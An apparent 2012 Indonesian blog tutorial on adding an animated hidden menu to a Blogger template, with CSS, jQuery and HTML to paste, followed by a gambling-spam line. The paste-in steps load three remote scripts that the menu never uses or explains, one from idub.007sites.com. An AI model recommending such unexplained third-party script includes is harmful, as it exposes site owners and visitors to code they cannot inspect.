Minggu, 04 Maret 2012

Membuat Menu Hidden Keren di Blog


      Lagi lagi.. lagi.. saya menemukan sebuah menu hidden yang unik dan sangat menarik untuk di pasang di blog kalian.  Kali ini tampilan menu hidden berada di atas, kalau yang sebelumnya kan disebelah kiri blog. Mau coba yang terdahulu dulu ?
Sebenarnya sistem kerjanya sama yang sebelumnya sama juga pada menu hidden yang kali ini, ya.. tapi kan selera orang berbeda - beda, kadang ingin di sebelah kanan ataupun di atas blog, kalian pilih aja selera hati kalian.

      Sekarang sudah siapkah kalian melihat menu blog yang unik daripada yang lain ?
Sudah pasti banyak yang bilang menu hidden itu bagus.  Menu yang dilengkapi kode JavaScript ini mampu bekerja lebih cepat daripada yang lainnya.


  1. Login ke Blogger
  2. Klik Design > Edit HTML
  3. Letakkan kode berikut di atas kode ]]></b:skin>

    ul#deopradipta2 {
    position: absolute;
    margin: 0px;
    padding: 0px;
    top: 0px;
    left: 200px;
    list-style: none;
    z-index:999999;
    width:721px;
    }
    ul#deopradipta2 li {
    width: 103px;
    display:inline;
    float:left;
    }
    ul#deopradipta2 li a {
    display: block;
    float:right;
    margin-top: -2px;
    width: 100px;
    height: 25px;
    background-color:#transparent;
    background-repeat:no-repeat;
    background-position:50% 10px;
    border:2px solid #000;border-radius:5px;top:0px;box-shadow:0 0 5px #000;
    -moz-border-radius:0px 0px 10px 10px;
    -webkit-border-bottom-right-radius: 10px;
    -webkit-border-bottom-left-radius: 10px;
    -khtml-border-bottom-right-radius: 10px;
    -khtml-border-bottom-left-radius: 10px;
    text-decoration:none;
    text-align:center;
    padding-top:80px;
    opacity: 0.7;
    filter:progid:DXImageTransform.Microsoft.Alpha(opacity=70);
    }
    ul#deopradipta2 li a:hnver{
    background-color:#FF0000;
    }
    ul#deopradipta2 li a span{
    letter-spacing:2px;
    font-size:11px;
    color:#000;
    }
    ul#deopradipta2 .aa a{
    background-image: url(http://2.bp.blogspot.com/-Ji6q1sKijRU/TzUcTqFViYI/AAAAAAAAAsg/0opjdDXDBq0/s1600/1deo.png);
    }
    ul#deopradipta2 .ab a {
    background-image: url(http://3.bp.blogspot.com/-1jyeR5djAv8/TzUcuIw6UBI/AAAAAAAAAsw/DrhFr-nOsAs/s1600/3deo.png);
    }
    ul#deopradipta2 .ac a {
    background-image: url(http://1.bp.blogspot.com/-KiCRSV017mc/TzUckSo8jUI/AAAAAAAAAso/Mt-3z_W4yb8/s1600/2deo.png);
    }
    ul#deopradipta2 .ad a {
    background-image: url(http://2.bp.blogspot.com/-umyl4sw9oRk/TzUe2Ya01PI/AAAAAAAAAtY/tZ3EYNNhmVE/s1600/6deo.png);
    }
    ul#deopradipta2 .ae a {
    background-image: url(http://2.bp.blogspot.com/-ha4GRLroFXM/TzUc2nhEeaI/AAAAAAAAAs4/R5tkmqkOwIQ/s1600/4deo.gif);
    }

    #Ganti kode berwarna Orange dengan link gambar yang kalian inginkan

  4. Letakkan kode berikut di bawah  ]]></b:skin>

    <script src='http://www.vincentcheung.ca/jsencryption/jsencryption.js' type='text/javascript'/>
    <script src='http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js'/>
    <script src='http://kangdadang.googlecode.com/files/jcolor.js'/>
    <script type='text/javascript'>
    $(function() {
    var d=300;
    $(&#39;#deopradipta2 a&#39;).each(function(){
    $(this).stop().animate({
    &#39;marginTop&#39;:&#39;-80px&#39;
    },d+=150);
    });


    $(&#39;#deopradipta2 &gt; li&#39;).hover(
    function () {
    $(&#39;a&#39;,$(this)).stop().animate({
    &#39;marginTop&#39;:&#39;-2px&#39;
    },200);
    },
    function () {
    $(&#39;a&#39;,$(this)).stop().animate({
    &#39;marginTop&#39;:&#39;-80px&#39;
    },200);
    }
    );
    });
    </script>

  5. Terakhir letakkan kode berikut di atas kode </body>

    <script src='http://idub.007sites.com/smile1.js' type='text/javascript'/>
    <ul id='deopradipta2'>
    <li class='aa'><a href='http://dopind.blogspot.com/feeds/posts/default'><span>RSS</span></a></li>
    <li class='ab'><a href='http://www.facebook.com/manchesterunitedd'><span>FACEBOOK</span></a></li>
    <li class='ac'><a href='http://twitter.com/49919491'><span>TWITTER</span></a></li>
    <li class='ad'><a href='http://www.alexa.com/siteinfo/http://dopind.blogspot.com/?p=rwidget#'><span>ALEXA</span></a></li>
    <li class='ae'><a href='http://dopind.blogspot.com/view'><span>VIEW</span></a></li>
    </ul>

    #Ganti kode warna Hijau dengan kode link yang kalian ingin pasang
    #Ganti kode warna Putih dengan tulisan keterangan menu
    #Jika ingin mengganti gambar *li class='aa'* kalian bisa ganti di kode  *deopradipta2 .aa a* yang ada di langkah ke 3, begitu seterusnya

  6. Klik 'Save Template' , lihat hasilnya dan beri komentar di artikel ini .. makasih :D
Agen Bola online Agen Bola online

Tidak ada komentar:

Posting Komentar

 

Tutorial Vicahya' - Just Sharing © 2012 | Template by Bamz Display Pagerank